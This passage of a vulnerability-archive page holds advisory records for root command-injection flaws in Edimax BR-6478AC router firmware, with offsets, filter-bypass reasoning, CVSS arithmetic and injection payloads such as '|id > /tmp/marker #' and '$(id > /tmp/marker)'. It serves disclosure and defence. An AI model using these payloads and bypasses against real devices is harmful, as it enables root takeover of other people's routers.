"url": "https://seclists.org/fulldisclosure/2026/Oct/30"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/exasol-database-default-credential-python-udf-os-popen-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/30"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Exasol Database 7.1.30 docker-db form: shipped default SYS credential to PYTHON3 UDF os.popen command execution as uid=500(exadefusr), output returned in-band (8.8)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0496",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/30",
"automated": true,
"contentSha256": "c96931b2b7b8444b5787b37ab53ae8c29c8b01f20120a412b4fe39f545b6212a",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/30",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-20T02:30:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:03Z",
"dateUpdated": "2026-11-02T07:30:03Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0496"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0495
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the setWAN WAN-configuration handler, root command execution (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the
Edimax BR-6478AC, firmware image BR6478AC_v2.20.bin, the dual-band AC1750 SOHO
wireless router from Edimax Technology Co., Ltd. (Taiwan). A single
authenticated POST that looks like an ordinary WAN settings submission reaches
system() with a request-controlled username interpolated unquoted into a shell
command line, behind a sanitiser that inspects exactly one character, and the
web server process that executes it runs as root.
Type and root cause. CWE-78, OS command injection, in the setWAN
WAN-configuration handler of bin/webs, the embedded GoAhead-style HTTP server
that serves the management interface on TCP port 80. The binary is ELF 32-bit
big-endian MIPS, MIPS-I, uClibc, stripped, 762904 bytes, SHA256
ec39c0f9332361e37ab92f1999ac5f00f5742dd6db75f7cb26c0652cfedb32a1, from a
SquashFS root filesystem of roughly 2.3 MB with an internal build timestamp
from 2015. The registration websFormDefine("setWAN", ...) at 0x478484, handler
at 0x441cec and name string at 0x4a6250, publishes POST /goform/setWAN. Inside
the handler the WAN mode is read from the request and dispatched:
websGetVar(wp, "wanMode", "") at 0x441d3c, atoi at 0x441d44, apmib_set(0x102,
&wanMode) at 0x441d54, then addiu v1, zero, 2 at 0x441d60 and beq v0, v1,
0x441e74 at 0x441d6c. On the PPP branch, wanMode 2, the username field is
taken from the request by websGetVar for pppUserName, whose name string is at
0x4953f4, copied with strcpy at 0x441e94 into a fixed stack buffer, measured
with strlen at 0x441ea8, and scanned by an inline byte loop between 0x441ebc
and 0x441ee4 whose only comparison is addiu a0, zero, 0x3b, a semicolon.
Finding one, the loop writes a NUL and stops. That single-character scan is
the entire sanitisation on the path. The value then goes into sprintf at
0x441ee8 using the format string at 0x49a510,
echo %s > /tmp/UserName
and from there into system(buf2) at 0x441f1c, reached through the PLT slot at
0x4c6d60, which hands the line to /bin/sh -c. A pipe, an ampersand, a
backtick, a dollar sign with parentheses and an embedded newline are never
inspected, so a username containing no semicolon reaches the shell untouched.
The verified payload is a username of |id > /tmp/marker #, which builds the
command line
echo |id > /tmp/marker # > /tmp/UserName
The shell treats the hash as a comment that swallows the sink's own redirect
and runs id as the right-hand side of a pipeline, so the injected command
executes and the file the handler was supposed to write is never created.
The defence that arrives too late. An escape loop that replaces a hash with a
backslash-escaped hash does exist in this handler, running between 0x441f4c
and 0x441fb0. Two facts dispose of it. First, the instruction order: the loop
is after system() at 0x441f1c and there is no branch back to it. Second, the
buffer: the loop writes into the configuration buffer at sp+0x18, which is
what apmib_set(0x6d, ...) stores at 0x44200c, not the buffer handed to the
shell. The developer escaped the hash character for the value that gets stored
and escaped nothing for the value that gets executed, which is a defensible
priority if the threat model is a hash in a stored username breaking some
later script that reads the configuration, and no defence at all against this
sink. The dynamic replication confirms the consequence: the hash in the
injected username reaches the shell as a comment and the sink's own redirect
never fires.
The sanitiser audit, and one trap for anyone re-reading the decompilation.
Between websGetVar and system the only operations on the value are strcpy at
0x441e94, strlen at 0x441ea8, the inline immediate-0x3b scan and the unquoted
sprintf at 0x441ee8. No regex call, no inet_aton, no isdigit, no isalnum, no
strchr, no strcspn, no vendor validation helper and no custom validator
appears on that path. The inet_aton calls that do exist in this function, at
0x441dd0 and 0x441e14, belong to the static-IP branch, wanMode 1, reached via
the branch at 0x441d8c; the wanMode 2 comparison sends execution straight to
the PPP branch and never enters that code. A quick read of the decompilation
therefore misleads, because the function as a whole does contain address
validation while the path that matters contains none.
One root cause, three reachable parameters. The same construction appears
three times in this handler, each selected by a value the request supplies:
pppUserName on wanMode 2, with the sink region 0x441e74 to 0x441f1c and
configuration object 0x6d written after the sink; pptpUserName on wanMode 3,
from 0x4420d0 onward, configuration object 0xf3; and L2TPUserName on wanMode
6, from 0x44246c onward, configuration object 0x128. All three use the same
immediate-0x3b scan, the same echo format string and the same system() call
shape. The wanMode 2 path was verified instruction by instruction and
replicated dynamically; the other two are reported from reading the same
handler, which is a structural claim rather than a demonstrated one. A patch
confined to the PPP path leaves the PPTP and L2TP paths injectable.
A static comparison against a second model, offered as a lead and not as a
finding. A second Edimax firmware image, BR-6208AC_V2_1.03, carries a
different webs build, ELF 32-bit MSB MIPS-I, 816568 bytes, SHA256
3ad10a41d11c8cd59185eab6c9ce67b18cd2118942eb2201f48540d7846a0328, whose setWAN
implementation matches instruction for instruction: handler at 0x448710,
websGetVar for pppUserName at 0x4488b8, strcpy at 0x4488bc, the same inline
immediate-0x3b scan at 0x4488dc to 0x4488fc, the same sprintf into
/tmp/UserName at 0x448920 with its format string at 0x4a6954, system() at
0x448940, the same three parameters on the same three wanMode values, and the
same single-realm Basic authentication model behind the same configuration
flag. The differing addresses and binary size come from a different product
build; the vulnerable path itself does not differ. The reasonable inference is
a shared source component in the vendor's router software base. That model was
not tested, nothing was executed from that image, no score covers it, and it
is not an exploited finding on it.
Scope of the pattern. A count of the shipped registration table found 91
/goform/form* handlers, of which roughly 85 reach a system() or popen() call,
so the architectural root cause is a management server that builds shell
command lines by string interpolation rather than one careless field.
/goform/setWAN is not one of the four routes carrying a post-boot uptime gate
(/mp.asp, /goform/mp, /advanced_management.asp and /goform/formAdvManagement,
which redirect to /index.asp once /proc/uptime exceeds 600 seconds), so it is
reachable at any time the device is up.
Authentication and reach. The route requires a valid administrative session in
normal operation. The gate auth_authorize at 0x404d00 reads configuration
object 0x1bc, the setup-wizard flag, through apmib_get; once the device is
past setup the security store at 0x4c7004, a single / entry of type Basic
registered from the directive "Auth / /etc/boa/boa.passwd", covers every
/goform/ path with HTTP Basic authentication. The product has no second
lower-privileged role, so Privileges Required is High rather than Low: one
realm entry, one password file, one account, an Allow directive handler at
0x407688 that is a stub answering "This version of Boa doesn't support access
controls", a type-None string at 0x49070c that is never passed to auth_add,
and a shipped configuration carrying one Auth directive and no Allow
directive. The calling process is root because the shipped etc/boa/boa.conf
declares User root, the server performs no setuid, chroot, namespace or
capability drop, and it writes /var/run/webs.pid, which requires root on this
filesystem, so the landing identity is uid=0(root) and there is no escalation
step in the chain. Attack complexity is Low: the only branch to satisfy,
wanMode, is supplied by the attacker, and there is no race, timing window,
memory-layout requirement, gadget or user-specific state. The practical
network position on a stock device is a host on the wired LAN or an associated
wireless client, because the shipped firewall script drops WAN-originated SYN
at firewall.sh:180, installs a default DROP input policy at firewall.sh:187
and accepts input on other interfaces at firewall.sh:189; that position
includes guest wireless clients, any compromised device behind the router and
anything bridged onto the segment, and remote management or a port forward
moves it to the open internet.
Severity. The published score is 7.2 High,
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 1 - 0.44^3 =
0.914816, Impact at S:U = 6.42 x 0.914816 = 5.873119, Exploitability = 8.22 x
0.85 x 0.77 x 0.27 x 0.85 = 1.234708 and Base = Roundup(5.873119 + 1.234708) =
Roundup(7.107826) = 7.2. The provenance of that number is published because it
is a correction: the research notes behind this work carried 8.8 written next
to a PR:H vector, and 8.8 is the arithmetic of PR:L rather than of PR:H, so
the figure was recomputed from the vector and published at 7.2, lowering the
researchers' own number by 1.6 points. Four further readings are printed with
their arithmetic. Privileges Required Low is rejected at 8.8 High, from
Exploitability 2.835255 and Base Roundup(8.708373), because the product has no
basic-user role for that metric to describe. Scope Changed is rejected at 9.1
High, from Impact at S:C = 6.128026, Exploitability 2.286496 and Base
Roundup(1.08 x 8.414522), because webs is root before the attack and root
after it and nothing is escaped. Attack Complexity High is rejected at 6.6
High, from Exploitability 0.705547 and Base Roundup(6.578666), because success
depends on no condition outside the attacker's control. An adjacent-vector
reading is published as a labelled alternative at 6.8 High, from
Exploitability 0.900610 and Base Roundup(6.773729), and it is the honest
description of a stock device whose WAN-side input policy drops new
connections; AV:N is retained because the service is bound to the device's own
network stack and addressable over IP by every host on the segment the router
serves, and because remote management and port forwarding are ordinary
documented product features. Default internet exposure is not claimed.
Two readings at 9.8 Critical are published as explicitly labelled conditionals
and are never the headline. The first applies where a deployment still accepts
the factory credential shipped in the firmware, and it is reasoned rather than
demonstrated: no device was authenticated against, so the path is an inference
from the shipped password file plus the injection proven at the sink, and its
Scope Changed variant, which computes to 10.0, is deliberately not published
for the Scope reason above. The second applies to a device still in its
pre-configuration setup state: when configuration object 0x1bc reads zero,
auth_authorize returns success without a challenge for paths outside /mp.asp,
/index.asp and /, at 0x4052d0, while /generate_204 answers 204, which is
captive-portal behaviour. Three shipped artefacts identify that state as the
setup wizard rather than normal operation: formwizResetDefault at 0x44cdbc
resets the device and displays Resettowizard, formWizSetup prints NO -
LOGIN-WEB when the flag is set to 1, and pages such as web/inter_wan.asp:214
and web/admin_timezone.asp:95 read the same flag to switch their interface.
That branch is structural inference only, read from the binary and never
exercised, and the state ends when setup completes; an early pass of this
research misread it as an unauthenticated post-setup state, and the correction
downgraded the finding to PR:H. If the window has to be contested rather than
found open, the reading is 8.1 High from Exploitability 2.221167 and Base
8.094286.
The factory credential is a separate weakness and not the vector. The i
Severity
No CVSS data available.
Assigner
References
8 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Edimax | BR-6478AC firmware |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "BR-6478AC firmware",
"vendor": "Edimax",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the\nEdimax BR-6478AC, firmware image BR6478AC_v2.20.bin, the dual-band AC1750 SOHO\nwireless router from Edimax Technology Co., Ltd. (Taiwan). A single\nauthenticated POST that looks like an ordinary WAN settings submission reaches\nsystem() with a request-controlled username interpolated unquoted into a shell\ncommand line, behind a sanitiser that inspects exactly one character, and the\nweb server process that executes it runs as root.\n\nType and root cause. CWE-78, OS command injection, in the setWAN\nWAN-configuration handler of bin/webs, the embedded GoAhead-style HTTP server\nthat serves the management interface on TCP port 80. The binary is ELF 32-bit\nbig-endian MIPS, MIPS-I, uClibc, stripped, 762904 bytes, SHA256\nec39c0f9332361e37ab92f1999ac5f00f5742dd6db75f7cb26c0652cfedb32a1, from a\nSquashFS root filesystem of roughly 2.3 MB with an internal build timestamp\nfrom 2015. The registration websFormDefine(\"setWAN\", ...) at 0x478484, handler\nat 0x441cec and name string at 0x4a6250, publishes POST /goform/setWAN. Inside\nthe handler the WAN mode is read from the request and dispatched:\nwebsGetVar(wp, \"wanMode\", \"\") at 0x441d3c, atoi at 0x441d44, apmib_set(0x102,\n\u0026wanMode) at 0x441d54, then addiu v1, zero, 2 at 0x441d60 and beq v0, v1,\n0x441e74 at 0x441d6c. On the PPP branch, wanMode 2, the username field is\ntaken from the request by websGetVar for pppUserName, whose name string is at\n0x4953f4, copied with strcpy at 0x441e94 into a fixed stack buffer, measured\nwith strlen at 0x441ea8, and scanned by an inline byte loop between 0x441ebc\nand 0x441ee4 whose only comparison is addiu a0, zero, 0x3b, a semicolon.\nFinding one, the loop writes a NUL and stops. That single-character scan is\nthe entire sanitisation on the path. The value then goes into sprintf at\n0x441ee8 using the format string at 0x49a510,\n\n echo %s \u003e /tmp/UserName\n\nand from there into system(buf2) at 0x441f1c, reached through the PLT slot at\n0x4c6d60, which hands the line to /bin/sh -c. A pipe, an ampersand, a\nbacktick, a dollar sign with parentheses and an embedded newline are never\ninspected, so a username containing no semicolon reaches the shell untouched.\nThe verified payload is a username of |id \u003e /tmp/marker #, which builds the\ncommand line\n\n echo |id \u003e /tmp/marker # \u003e /tmp/UserName\n\nThe shell treats the hash as a comment that swallows the sink\u0027s own redirect\nand runs id as the right-hand side of a pipeline, so the injected command\nexecutes and the file the handler was supposed to write is never created.\n\nThe defence that arrives too late. An escape loop that replaces a hash with a\nbackslash-escaped hash does exist in this handler, running between 0x441f4c\nand 0x441fb0. Two facts dispose of it. First, the instruction order: the loop\nis after system() at 0x441f1c and there is no branch back to it. Second, the\nbuffer: the loop writes into the configuration buffer at sp+0x18, which is\nwhat apmib_set(0x6d, ...) stores at 0x44200c, not the buffer handed to the\nshell. The developer escaped the hash character for the value that gets stored\nand escaped nothing for the value that gets executed, which is a defensible\npriority if the threat model is a hash in a stored username breaking some\nlater script that reads the configuration, and no defence at all against this\nsink. The dynamic replication confirms the consequence: the hash in the\ninjected username reaches the shell as a comment and the sink\u0027s own redirect\nnever fires.\n\nThe sanitiser audit, and one trap for anyone re-reading the decompilation.\nBetween websGetVar and system the only operations on the value are strcpy at\n0x441e94, strlen at 0x441ea8, the inline immediate-0x3b scan and the unquoted\nsprintf at 0x441ee8. No regex call, no inet_aton, no isdigit, no isalnum, no\nstrchr, no strcspn, no vendor validation helper and no custom validator\nappears on that path. The inet_aton calls that do exist in this function, at\n0x441dd0 and 0x441e14, belong to the static-IP branch, wanMode 1, reached via\nthe branch at 0x441d8c; the wanMode 2 comparison sends execution straight to\nthe PPP branch and never enters that code. A quick read of the decompilation\ntherefore misleads, because the function as a whole does contain address\nvalidation while the path that matters contains none.\n\nOne root cause, three reachable parameters. The same construction appears\nthree times in this handler, each selected by a value the request supplies:\npppUserName on wanMode 2, with the sink region 0x441e74 to 0x441f1c and\nconfiguration object 0x6d written after the sink; pptpUserName on wanMode 3,\nfrom 0x4420d0 onward, configuration object 0xf3; and L2TPUserName on wanMode\n6, from 0x44246c onward, configuration object 0x128. All three use the same\nimmediate-0x3b scan, the same echo format string and the same system() call\nshape. The wanMode 2 path was verified instruction by instruction and\nreplicated dynamically; the other two are reported from reading the same\nhandler, which is a structural claim rather than a demonstrated one. A patch\nconfined to the PPP path leaves the PPTP and L2TP paths injectable.\n\nA static comparison against a second model, offered as a lead and not as a\nfinding. A second Edimax firmware image, BR-6208AC_V2_1.03, carries a\ndifferent webs build, ELF 32-bit MSB MIPS-I, 816568 bytes, SHA256\n3ad10a41d11c8cd59185eab6c9ce67b18cd2118942eb2201f48540d7846a0328, whose setWAN\nimplementation matches instruction for instruction: handler at 0x448710,\nwebsGetVar for pppUserName at 0x4488b8, strcpy at 0x4488bc, the same inline\nimmediate-0x3b scan at 0x4488dc to 0x4488fc, the same sprintf into\n/tmp/UserName at 0x448920 with its format string at 0x4a6954, system() at\n0x448940, the same three parameters on the same three wanMode values, and the\nsame single-realm Basic authentication model behind the same configuration\nflag. The differing addresses and binary size come from a different product\nbuild; the vulnerable path itself does not differ. The reasonable inference is\na shared source component in the vendor\u0027s router software base. That model was\nnot tested, nothing was executed from that image, no score covers it, and it\nis not an exploited finding on it.\n\nScope of the pattern. A count of the shipped registration table found 91\n/goform/form* handlers, of which roughly 85 reach a system() or popen() call,\nso the architectural root cause is a management server that builds shell\ncommand lines by string interpolation rather than one careless field.\n/goform/setWAN is not one of the four routes carrying a post-boot uptime gate\n(/mp.asp, /goform/mp, /advanced_management.asp and /goform/formAdvManagement,\nwhich redirect to /index.asp once /proc/uptime exceeds 600 seconds), so it is\nreachable at any time the device is up.\n\nAuthentication and reach. The route requires a valid administrative session in\nnormal operation. The gate auth_authorize at 0x404d00 reads configuration\nobject 0x1bc, the setup-wizard flag, through apmib_get; once the device is\npast setup the security store at 0x4c7004, a single / entry of type Basic\nregistered from the directive \"Auth / /etc/boa/boa.passwd\", covers every\n/goform/ path with HTTP Basic authentication. The product has no second\nlower-privileged role, so Privileges Required is High rather than Low: one\nrealm entry, one password file, one account, an Allow directive handler at\n0x407688 that is a stub answering \"This version of Boa doesn\u0027t support access\ncontrols\", a type-None string at 0x49070c that is never passed to auth_add,\nand a shipped configuration carrying one Auth directive and no Allow\ndirective. The calling process is root because the shipped etc/boa/boa.conf\ndeclares User root, the server performs no setuid, chroot, namespace or\ncapability drop, and it writes /var/run/webs.pid, which requires root on this\nfilesystem, so the landing identity is uid=0(root) and there is no escalation\nstep in the chain. Attack complexity is Low: the only branch to satisfy,\nwanMode, is supplied by the attacker, and there is no race, timing window,\nmemory-layout requirement, gadget or user-specific state. The practical\nnetwork position on a stock device is a host on the wired LAN or an associated\nwireless client, because the shipped firewall script drops WAN-originated SYN\nat firewall.sh:180, installs a default DROP input policy at firewall.sh:187\nand accepts input on other interfaces at firewall.sh:189; that position\nincludes guest wireless clients, any compromised device behind the router and\nanything bridged onto the segment, and remote management or a port forward\nmoves it to the open internet.\n\nSeverity. The published score is 7.2 High,\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 1 - 0.44^3 =\n0.914816, Impact at S:U = 6.42 x 0.914816 = 5.873119, Exploitability = 8.22 x\n0.85 x 0.77 x 0.27 x 0.85 = 1.234708 and Base = Roundup(5.873119 + 1.234708) =\nRoundup(7.107826) = 7.2. The provenance of that number is published because it\nis a correction: the research notes behind this work carried 8.8 written next\nto a PR:H vector, and 8.8 is the arithmetic of PR:L rather than of PR:H, so\nthe figure was recomputed from the vector and published at 7.2, lowering the\nresearchers\u0027 own number by 1.6 points. Four further readings are printed with\ntheir arithmetic. Privileges Required Low is rejected at 8.8 High, from\nExploitability 2.835255 and Base Roundup(8.708373), because the product has no\nbasic-user role for that metric to describe. Scope Changed is rejected at 9.1\nHigh, from Impact at S:C = 6.128026, Exploitability 2.286496 and Base\nRoundup(1.08 x 8.414522), because webs is root before the attack and root\nafter it and nothing is escaped. Attack Complexity High is rejected at 6.6\nHigh, from Exploitability 0.705547 and Base Roundup(6.578666), because success\ndepends on no condition outside the attacker\u0027s control. An adjacent-vector\nreading is published as a labelled alternative at 6.8 High, from\nExploitability 0.900610 and Base Roundup(6.773729), and it is the honest\ndescription of a stock device whose WAN-side input policy drops new\nconnections; AV:N is retained because the service is bound to the device\u0027s own\nnetwork stack and addressable over IP by every host on the segment the router\nserves, and because remote management and port forwarding are ordinary\ndocumented product features. Default internet exposure is not claimed.\n\nTwo readings at 9.8 Critical are published as explicitly labelled conditionals\nand are never the headline. The first applies where a deployment still accepts\nthe factory credential shipped in the firmware, and it is reasoned rather than\ndemonstrated: no device was authenticated against, so the path is an inference\nfrom the shipped password file plus the injection proven at the sink, and its\nScope Changed variant, which computes to 10.0, is deliberately not published\nfor the Scope reason above. The second applies to a device still in its\npre-configuration setup state: when configuration object 0x1bc reads zero,\nauth_authorize returns success without a challenge for paths outside /mp.asp,\n/index.asp and /, at 0x4052d0, while /generate_204 answers 204, which is\ncaptive-portal behaviour. Three shipped artefacts identify that state as the\nsetup wizard rather than normal operation: formwizResetDefault at 0x44cdbc\nresets the device and displays Resettowizard, formWizSetup prints NO -\nLOGIN-WEB when the flag is set to 1, and pages such as web/inter_wan.asp:214\nand web/admin_timezone.asp:95 read the same flag to switch their interface.\nThat branch is structural inference only, read from the binary and never\nexercised, and the state ends when setup completes; an early pass of this\nresearch misread it as an unauthenticated post-setup state, and the correction\ndowngraded the finding to PR:H. If the window has to be contested rather than\nfound open, the reading is 8.1 High from Exploitability 2.221167 and Base\n8.094286.\n\nThe factory credential is a separate weakness and not the vector. The i"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-250",
"description": "CWE-250",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-798",
"description": "CWE-798",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:03Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/29"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/29"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/edimax-br-6478ac-formwlanmp-command-injection-root-rce"
},
{
"url": "https://0day-rubbish.com/blog/edimax-br-6478ac-setwan-command-injection-root-rce"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/29"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the setWAN WAN-configuration handler, root command execution (7.2)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0495",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/29",
"automated": true,
"contentSha256": "6bb80fd9d4fcb6dac7c808a81436e519abb98fb95139a364f8d3a5b2401b24c1",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/29",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-20T02:30:31Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:03Z",
"dateUpdated": "2026-11-02T07:30:03Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0495"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0494
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the formWlanMP manufacturing-test handler, root command execution (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the
Edimax BR-6478AC, firmware image BR6478AC_v2.20.bin, the dual-band AC1750 SOHO
wireless router from Edimax Technology Co., Ltd. (Taiwan). A single
authenticated POST to a manufacturing radio-calibration route that is still
registered in production firmware reaches system() with thirty raw request
fields interpolated into one command line, and the web server process that
executes it runs as root.
Type and root cause. CWE-78, OS command injection, in the formWlanMP handler
of bin/webs, the embedded GoAhead-style HTTP server that serves the management
interface on TCP port 80. The binary is ELF 32-bit big-endian MIPS, MIPS-I,
uClibc, stripped, 762904 bytes, SHA256
ec39c0f9332361e37ab92f1999ac5f00f5742dd6db75f7cb26c0652cfedb32a1, from a
SquashFS root filesystem of roughly 2.3 MB with an internal build timestamp
from 2015. The registration websFormDefine("formWlanMP", ...) at 0x477a1c
publishes POST /goform/formWlanMP, whose handler at 0x462a24 reads thirty
radio automatic-test-equipment and EEPROM calibration fields through
websGetVar at 0x412a7c, reached via the function-pointer table entry at
0x4c6b18: ateFunc, ateGain, ateTxCount, ateChan, ateRate, ateMacID,
e2pTxPower1 through e2pTxPower7, e2pTx2Power1 through e2pTx2Power7,
ateTxFreqOffset, ateMode, ateBW, ateAntenna, e2pTxFreqOffset, e2pTxPwDeltaB,
e2pTxPwDeltaG, e2pTxPwDeltaMix, e2pTxPwDeltaN and readE2P, plus a submit-url
field. Every one of them is formatted, raw, into a single command line by
sprintf at 0x462fd0 using the format string at 0x4a0d98,
/bin/rftest_old.sh %s %s ... (thirty %s conversions)
and the result is handed to system(buf) at 0x46308c, whose PLT stub sits at
0x490020 with relocation 0x18b. Between websGetVar and system there is no
validation of any kind: no atoi, no inet_aton, no strchr, no isdigit, no
strcspn, no character filter, no length check beyond buffer capacity, no
argument quoting and no switch to an argv-style exec. The only transformation
on the path is cosmetic: an empty field is replaced with the literal word null
so that argument positions stay aligned. That is filler, not a filter, and it
removes no shell metacharacter.
system() is not an exec of the named program; it is fork plus execl of /bin/sh
with -c, so the entire shell grammar is available to the payload and no
quoting exists to escape out of. Command substitution with $(...) is evaluated
during expansion, before the simple command is looked up, which is the payload
used here; backticks are equivalent; a semicolon terminates the current
command; a pipe or an ampersand turns the line into a pipeline or a background
job, with a trailing hash neutralising the rest of the format string; and an
embedded newline is a command separator that websGetVar does not strip,
because it removes only a trailing one. A field value of ateFunc=$(id >
/tmp/marker) therefore runs id first.
The shipped root filesystem contains rftest.sh but not rftest_old.sh, so the
command word in the constructed line does not resolve and the shell exits 127.
This looks like a mitigation and is not one: expansion precedes program
lookup, so the injected command has already executed by the time the shell
reports the missing script. The replication run reproduced exactly that exit
status alongside a correctly written marker file. The practical consequence
for anyone auditing this handler family is that no deny-list approach can
succeed here, because the payload space is the whole shell grammar and the
interpolation is unquoted; only removing the interpolation or removing the
shell helps.
Authentication and reach. The route requires a valid administrative session in
normal operation. The gate auth_authorize at 0x404d00 reads configuration
object 0x1bc, the setup-wizard flag, through apmib_get; once the device is
past setup the security store at 0x4c7004, a single / entry of type Basic
registered from the directive "Auth / /etc/boa/boa.passwd" by the Auth handler
at 0x40814c, covers every /goform/ path with HTTP Basic authentication. The
product has no second, lower-privileged role: one realm entry, one password
file, one account, an Allow directive handler in this build that is a
non-functional stub answering "This version of Boa doesn't support access
controls", and a shipped configuration carrying one Auth directive and no
Allow directive. Privileges Required is therefore High, not Low.
/goform/formWlanMP is not one of the four routes carrying a post-boot uptime
gate (/mp.asp, /goform/mp, /advanced_management.asp and
/goform/formAdvManagement, which redirect to /index.asp once /proc/uptime
exceeds 600 seconds), so unlike the neighbouring manufacturing route it is
reachable at any time while the device is running.
Execution identity. The calling process is webs and webs is root, because the
shipped etc/boa/boa.conf declares User root, the same file whose AddType
application/x-httpd-cgi asp entry binds .asp pages as CGI. The server is
started by the boot path cleanlog.sh:131 invoked from init.sh:1115 during
early init, writes /var/run/webs.pid, which on this root filesystem requires
root to create, and performs no setuid, chroot, namespace or capability drop.
The landing identity is uid=0(root) and no privilege escalation is involved:
the executing process is already root.
Scope of the pattern. This is one instance of a broad construction rather than
an isolated slip. A count of the shipped registration table found 91
/goform/form* handlers, of which roughly 85 reach a system() or popen() call.
Two further sinks were examined and are reported without a score: the
uptime-gated manufacturing route /goform/mp, which is exploitable in principle
but confined to a 600-second post-boot window and carries the same
factory-test character, and the miniigd UPnP IGD daemon on UDP and TCP port
52869, whose SOAP surface has a command sink that is unauthenticated but
LAN-only under the shipped firewall policy. Four candidates that yielded no
established request-controlled path to command execution are named as excluded
rather than dropped silently: formrefresh, formAutoFWupgrade,
formPreventionSetup and wscd.
Severity. The published score is 7.2 High,
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 1 - 0.44^3 =
0.914816, Impact at S:U = 6.42 x 0.914816 = 5.873119, Exploitability = 8.22 x
0.85 x 0.77 x 0.27 x 0.85 = 1.234708 and Base = Roundup(5.873119 + 1.234708) =
Roundup(7.107826) = 7.2. The provenance of that number is disclosed because it
is a correction: the research notes behind this work carried 8.8 written next
to a PR:H vector, and 8.8 is the arithmetic of PR:L rather than of PR:H, so
the figure was recomputed from the vector and published at 7.2, lowering the
researchers' own number by 1.6 points. Four further readings are printed with
their arithmetic. Privileges Required Low is rejected at 8.8 High, from
Exploitability 2.835255 and Base Roundup(8.708373), because the product has no
basic-user role for that metric to describe. Scope Changed is rejected at 9.1
High, from Impact at S:C = 6.128026, Exploitability 2.286496 and Base
Roundup(1.08 x 8.414522), because webs is root before the attack and root
after it and nothing is escaped. Attack Complexity High is rejected at 6.6
High, from Exploitability 0.705547 and Base Roundup(6.578666), because nothing
about success depends on a condition outside the attacker's control: no race,
no window, no memory layout, no gadget, no user-specific state. An
adjacent-only reading is published as an alternative rather than rejected
outright, at 6.8 High on AV:A from Exploitability 0.900610 and Base
Roundup(6.773729), and it is the honest description of a stock device whose
WAN-side input policy drops new connections: the shipped firewall script sets
a default DROP input policy at firewall.sh:187, drops WAN-originated SYN at
firewall.sh:180 and accepts input on other interfaces at firewall.sh:189. AV:N
is retained because the service is bound to the device's own network stack and
is addressable over IP by every host on the segment the router serves,
including guest wireless clients and anything bridged or compromised behind
it, and because two ordinary documented product features, remote management on
the WAN side and forwarding port 80, move an attacker to the open internet.
Default internet exposure is not claimed anywhere.
Two readings at 9.8 Critical are published as explicitly labelled conditionals
and are never the headline. The first applies where a deployment still accepts
